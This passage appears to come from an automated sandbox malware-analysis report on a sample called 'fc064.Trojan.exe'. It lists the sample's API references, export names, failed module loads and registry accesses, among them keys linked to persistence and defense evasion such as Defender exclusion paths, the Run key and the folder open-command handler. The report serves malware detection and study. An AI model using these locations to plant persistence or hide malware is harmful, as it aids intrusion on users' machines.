00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp")49:T4e7,Found reference to API "GetWindowThreadProcessId" (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "ShowWindow" (Indicator: "ShowWindow"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")4a:T715,Found reference to API "StartServiceCtrlDispatcherW" (Indicator: "StartServiceCtrlDispatcher"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "StartServiceCtrlDispatcherW" (Indicator: "StartService"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "StartServiceW" (Indicator: "StartService"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")4b:T1416,"OneDriveStandaloneUpdater.exe.bin" contains export function called "?$TSS0@?1??stateLock@DebugEventSource@Events@Applications@Microsoft@@KAAEAVrecursive_mutex@std@@XZ@4HA" at ordinal 1 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0DebugEventDispatcher@Events@Applications@Microsoft@@QEAA@AEBV0123@@Z" at ordinal 2 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0DebugEventDispatcher@Events@Applications@Microsoft@@QEAA@XZ" at ordinal 3 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0DebugEventListener@Events@Applications@Microsoft@@QEAA@AEBV0123@@Z" at ordinal 4 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0DebugEventListener@Events@Applications@Microsoft@@QEAA@XZ" at ordinal 5 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0DebugEventSource@Events@Applications@Microsoft@@QEAA@$$QEAV0123@@Z" at ordinal 6 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0DebugEventSource@Events@Applications@Microsoft@@QEAA@AEBV0123@@Z" at ordinal 7 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0DebugEventSource@Events@Applications@Microsoft@@QEAA@XZ" at ordinal 8 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperties@Events@Applications@Microsoft@@QEAA@AEBV0123@@Z" at ordinal 9 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperties@Events@Applications@Microsoft@@QEAA@AEBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z" at ordinal 10 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperties@Events@Applications@Microsoft@@QEAA@AEBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEBV?$map@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@UEventProperty@Events@Applications@Microsoft@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@V?$allocator@U?$pair@$$CBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@UEventProperty@Events@Applications@Microsoft@@@std@@@2@@5@@Z" at ordinal 11 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperties@Events@Applications@Microsoft@@QEAA@AEBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@E@Z" at ordinal 12 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperties@Events@Applications@Microsoft@@QEAA@AEBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$initializer_list@U?$pair@$$CBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@UEventProperty@Events@Applications@Microsoft@@@std@@@5@@Z" at ordinal 13 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperties@Events@Applications@Microsoft@@QEAA@XZ" at ordinal 14 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@$$QEAU0123@@Z" at ordinal 15 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@AEAV?$vector@NV?$allocator@N@std@@@std@@W4PiiKind@123@W4DataCategory@123@@Z" at ordinal 16 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@AEAV?$vector@UGUID_t@Events@Applications@Microsoft@@V?$allocator@UGUID_t@Events@Applications@Microsoft@@@std@@@std@@W4PiiKind@123@W4DataCategory@123@@Z" at ordinal 17 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@AEAV?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@W4PiiKind@123@W4DataCategory@123@@Z" at ordinal 18 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@AEAV?$vector@_JV?$allocator@_J@std@@@std@@W4PiiKind@123@W4DataCategory@123@@Z" at ordinal 19 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@AEBU0123@@Z" at ordinal 20 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@AEBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@W4PiiKind@123@W4DataCategory@123@@Z" at ordinal 21 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@CW4PiiKind@123@W4DataCategory@123@@Z" at ordinal 22 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@EW4PiiKind@123@W4DataCategory@123@@Z" at ordinal 23 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@FW4PiiKind@123@W4DataCategory@123@@Z" at ordinal 24 "OneDriveStandaloneUpdater.exe.bin" contains export function called "??0EventProperty@Events@Applications@Microsoft@@QEAA@GW4PiiKind@123@W4DataCategory@123@@Z" at ordinal 254c:T43ba,"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" in Source: 00000000-00007512-00000C95-43851205 "SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" in Source: 00000000-00007512-00000C95-43862221 "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00007512-00000C95-46700005 "Software\Classes\Folder\shell\open\command" in Source: 00000000-00007512-00000C95-46718528 "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00000848.00000000.67361.00581000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00000848.00000000.67361.00581000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00000848.00000000.67361.00581000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00000848.00000000.67361.00581000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00000848.00000000.67361.00581000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00000848.00000000.67361.00581000.00000020.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000848.00000000.67361.02A50000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\OneDrive" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\AuthCookies\Live\Default\CAW" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\AppSettings" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\OneDrive\Upgrade" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\OneDrive\Accounts\Personal" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Classes" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\OneDrive\Update" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\Office\ClickToRun\Configuration" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "SOFTWARE\Microsoft\WindowsSelfHost\Applicability" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\OneDrive\Accounts" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Policies\Microsoft\SQMClient" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\SQMClient" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList\" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Policies\Microsoft\OneDrive" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "SOFTWARE\Microsoft\OneDrive\Tenants\" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Classes\CLSID\" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "Software\Microsoft\OneDrive\Accounts\" in Source: 00000000-00004560.00000000.81027.02538000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp 00000000-00004560.00000000.81027.DF214000.00000002.mdmp 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp 00000000-00004560.00000000.81027.E5598000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\LeapSecondInformation" in Source: 00000000-00004560.00000000.81027.0AC65000.00000002.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00004560.00000000.81027.5ABD0000.00000004.mdmp "Y\MACHINE\Software\WOW6432Node\Policies\Microsoft\OneDrive" in Source: 00000000-00004560.00000000.81027.5ABD0000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00004560.00000000.81027.5ABD0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004560.00000000.81027.5CAA0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp "string Software\Classes\mssharepointclient" in Source: 00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp "y\Machine\Software\Classes\Interface\{878F3F2A-34DB-42CE-A02B-D637B10A89FF}" in Source: 00000000-00004560.00000000.81027.5CD0D000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceRegistration" in Source: 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp "SOFTWARE\Microsoft\MSADALSQL" in Source: 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp "SOFTWARE\Clients\StartMenuInternet" in Source: 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp "SOFTWARE\Clients\StartMenuInternet\" in Source: 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp "SOFTWARE\Microsoft\AuthN" in Source: 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp 00000000-00004560.00000000.81027.D645E000.00000002.mdmp4d:T85c,Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; Source: "00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "QueryServiceStatus" (Indicator: "QueryServiceStatus"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "QueryServiceStatusEx" (Indicator: "QueryServiceStatus"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "EnumServicesStatusExW" (Indicator: "EnumServicesStatus"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp")4e:Td86,"fc064.Trojan.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "fc064.Trojan.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "fc064.Trojan.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "fc064.Trojan.exe" failed 